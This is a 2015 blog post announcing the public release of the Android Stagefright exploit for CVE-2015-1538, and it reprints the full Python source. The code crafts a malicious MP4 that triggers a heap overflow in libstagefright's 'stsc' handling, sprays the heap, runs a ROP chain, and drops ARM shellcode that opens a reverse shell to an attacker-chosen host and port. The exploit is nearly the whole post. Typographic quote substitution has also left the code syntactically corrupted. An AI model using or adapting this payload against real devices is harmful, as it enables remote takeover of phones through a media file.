Our Feeds

Wednesday 9 September 2015

AJITH KP

Android RCE Vulnerability Stagefright bugs is Now Public

     Android stagefright vulnerability is now public. It was discovered by Joshua J. Drake at ZIMPERIUM Inc. The exploit is found public at http://0day.today/exploit/24222. The vulnerability allows attackers to take control over vulnerable devices. The exploit generate a MP4 media file and it will exploit the device. To view more details visit: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/

Source: http://www.high-resolution-wallpapers.com/radioactive-android-27532

Exploit Source Code

#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
#
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
   if len(tag) != 4:
       raise ‘Yo! They call it “FourCC” for a reason.’
   ret = struct.pack(‘>L’, len(data) + 8)
   ret += tag
   ret += data
   return ret
#
# Make an ‘stco’ atom – Sample Table Chunk Offets
#
def make_stco(extra=”):
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
   return make_chunk(‘stco’, ret+extra)
#
# Make an ‘stsz’ atom – Sample Table Size
#
def make_stsz(extra=”):
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
   ret += struct.pack(‘>L’, 0) # mNumSampleSizes
   return make_chunk(‘stsz’, ret+extra)
#
# Make an ‘stts’ atom – Sample Table Time-to-Sample
#
def make_stts():
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
   return make_chunk(‘stts’, ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
   ret = ”
   ret += struct.pack(‘>L’, start + 1)
   ret += struct.pack(‘>L’, per)
   ret += struct.pack(‘>L’, desc)
   return ret
#
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
   ret =  struct.pack(‘>L’, 0) # version/flags
   # this is the clean version…
   if not do_overflow:
       ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
       ret += ‘Z’ * (12 * num_alloc)
       return make_chunk(‘stsc’, ret)
  
   # now the explicit version. (trigger the bug)
   ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
   # fill in the entries that will overflow the buffer
   for x in range(0, num_write):
       ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
  
   ret = make_chunk(‘stsc’, ret)
  
   # patch the data_size
   ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
  
   return ret
  
#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
  0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
  0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
  0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
  0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
  0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
“””
“””
b0001144 <__dl_mprotect>:
b0001144:       e92d0090        push    {r4, r7}
b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
b000114c:       ef000000        svc     0x00000000
b0001150:       e8bd0090        pop     {r4, r7}
b0001154:       e1b00000        movs    r0, r0
b0001158:       512fff1e        bxpl    lr
b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
   rop = ”
   rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
   rop += struct.pack(‘<L’, 0xb0002a98)           # new lr – pop {pc}
   rop += struct.pack(‘<L’, 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}
  
   rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
   rop += struct.pack(‘<L’, 0x1000)               # new r1 – length
   rop += struct.pack(‘<L’, 7)                    # new r2 – protection
   rop += struct.pack(‘<L’, 0xd000d003)           # new r3 – scratch
   rop += struct.pack(‘<L’, 0xd000d004)           # new r4 – scratch
   rop += struct.pack(‘<L’, 0xb0001144)           # new pc – _dl_mprotect
  
   native_start = sp_addr + 0x80
   rop += struct.pack(‘<L’, native_start)         # address of native payload
   #rop += struct.pack(‘<L’, 0xfeedfed5)          # top of stack…
   # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
   buf =  ”
   # fork
   buf += ‘\x02\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # continue if not parent…
   buf += ‘\x00\x00\x50\xe3’
   buf += ‘\x02\x00\x00\x0a’
   # exit parent
   buf += ‘\x00\x00\xa0\xe3’
   buf += ‘\x01\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # setsid in child
   buf += ‘\x42\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # socket/connect/dup2/dup2/dup2
   buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
   buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
   buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
   buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
   buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
   buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
   buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
   buf += ‘\xe3\x00\x00\x00\xef’
   # execve(shell, argv, env)
   buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
   buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
   buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
   buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
   buf += ‘\xef\x02\x00’
   # Add the connect back host/port
   buf += struct.pack(‘!H’, cb_port)
   cb_host = socket.inet_aton(cb_host)
   buf += struct.pack(‘=4s’, cb_host)
   # shell –
   buf += ‘/system/bin/sh\x00\x00’
   # argv –
   buf += ‘sh\x00\x00’
   # env –
   buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’
  
   # Add some identifiable stuff, just in case something goes awry…
   rop_start_off = 0x34
   x = rop_start_off + len(rop)
   while len(rop) < 0x80 – rop_start_off:
       rop += struct.pack(‘<L’, 0xf0f00000+x)
       x += 4
  
   # Add the native payload…
   rop += buf
  
   return rop
  
#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
   chunks = []
  
   # Build the MP4 header…
   ftyp =  ‘mp42’
   ftyp += struct.pack(‘>L’, 0)
   ftyp += ‘mp42’
   ftyp += ‘isom’
   chunks.append(make_chunk(‘ftyp’, ftyp))
  
   # Note, this causes a few allocations…
   moov_data = ”
   moov_data += make_chunk(‘mvhd’,
       struct.pack(‘>LL’, 0, 0x41414141) +
       (‘B’ * 0x5c) )
  
   # Add a minimal, verified trak to satisfy mLastTrack being set
   moov_data += make_chunk(‘trak’,
       make_chunk(‘stbl’,
           make_stsc(0x28, 0x28) +
           make_stco() +
           make_stsz() +
           make_stts() ))
  
   # Spray the heap using a large tx3g chunk (can contain binary data!)
   “””
      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
   “””
   page = ”
   off = 0  # the offset to the next object
   off += 8
   page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28)    # _vptr.RefBase (for when we smash mDataSource)
   page += struct.pack(‘<L’, sp_addr + off) # mRefs
   off += 16
   page += struct.pack(‘<L’, 1)             # mStrong
   page += struct.pack(‘<L’, 0xc0dedbad)    # mWeak
   page += struct.pack(‘<L’, sp_addr + off) # mBase
   page += struct.pack(‘<L’, 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
   off += 8
   page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
   page += struct.pack(‘<L’, 0xf00dbabe)    # mBase.mRefs (unused)
   off += 16
   page += struct.pack(‘<L’, 0xc0de0000 + 0x00)  # vtable entry 0
   page += struct.pack(‘<L’, 0xc0de0000 + 0x04)  # vtable entry 4
   page += struct.pack(‘<L’, 0xc0de0000 + 0x08)  # vtable entry 8
   page += struct.pack(‘<L’, newpc_val)          # vtable entry 12
   rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
   x = len(page)
   while len(page) < 4096:
       page += struct.pack(‘<L’, 0xf0f00000+x)
       x += 4
  
   off = 0x34
   page = page[:off] + rop + page[off+len(rop):]
   spray = page * (((2*1024*1024) / len(page)) – 20)
   moov_data += make_chunk(‘tx3g’, spray)
   block = ‘A’ * 0x1c
   bigger = ‘B’ * 0x40
   udta = make_chunk(‘udta’,
       make_chunk(‘meta’,
           struct.pack(‘>L’, 0) +
           make_chunk(‘ilst’,
               make_chunk(‘cpil’,    make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
               make_chunk(‘trkn’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
               make_chunk(‘disk’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
               make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
               make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘aART’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘gnre’,    make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
               make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
               make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
               make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
               make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
           )
       )
   moov_data += udta
  
   # Make the nasty trak
   tkhd1 = ”.join([
       ‘\x00’,       # version
       ‘D’ * 3,      # padding
       ‘E’ * (5*4),  # {c,m}time, id, ??, duration
       ‘F’ * 0x10,   # ??
       struct.pack(‘>LLLLLL’,
           0x10000,  # a00
           0,        # a01
           0,        # dx
           0,        # a10
           0x10000,  # a11
           0),       # dy
       ‘G’ * 0x14
       ])
  
   trak1 = ”
   trak1 += make_chunk(‘tkhd’, tkhd1)
  
   mdhd1 = ”.join([
       ‘\x00’,       # version
       ‘D’ * 0x17,   # padding
       ])
  
   mdia1 = ”
   mdia1 += make_chunk(‘mdhd’, mdhd1)
   mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
  
   dinf1 = ”
   dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
  
   minf1 = ”
   minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
   minf1 += make_chunk(‘dinf’, dinf1)
  
   # Build the nasty sample table to trigger the vulnerability here.
   stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER
  
   # Add the stbl to the minf chunk
   minf1 += make_chunk(‘stbl’, stbl1)
  
   # Add the minf to the mdia chunk
   mdia1 += make_chunk(‘minf’, minf1)
  
   # Add the mdia to the track
   trak1 += make_chunk(‘mdia’, mdia1)
  
   # Add the nasty track to the moov data
   moov_data += make_chunk(‘trak’, trak1)
  
   # Finalize the moov chunk
   moov = make_chunk(‘moov’, moov_data)
   chunks.append(moov)
  
   # Combine outer chunks together and voila.
   data = ”.join(chunks)
  
   return data
  
if __name__ == ‘__main__’:
   import sys
   import mp4
   import argparse
  
   def write_file(path, content):
       with open(path, ‘wb’) as f:
           f.write(content)
  
   def addr(sval):
       if sval.startswith(‘0x’):
           return int(sval, 16)
       return int(sval)
  
   # The address of a fake StrongPointer object (sprayed)
   sp_addr   = 0x41d00010  # takju @ imm76i – 2MB (via hangouts)
  
   # The address to of our ROP pivot
   newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
  
   # Allow the user to override parameters
   parser = argparse.ArgumentParser()
   parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
   parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
   parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
   parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
   parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
   args = parser.parse_args()
  
   if len(sys.argv) == 1:
       parser.print_help()
       sys.exit(–1)
  
   if args.spray_addr == None:
       args.spray_addr = sp_addr
   if args.rop_pivot == None:
       args.rop_pivot = newpc_val
  
   # Build the MP4 file…
   data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
   print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
   write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf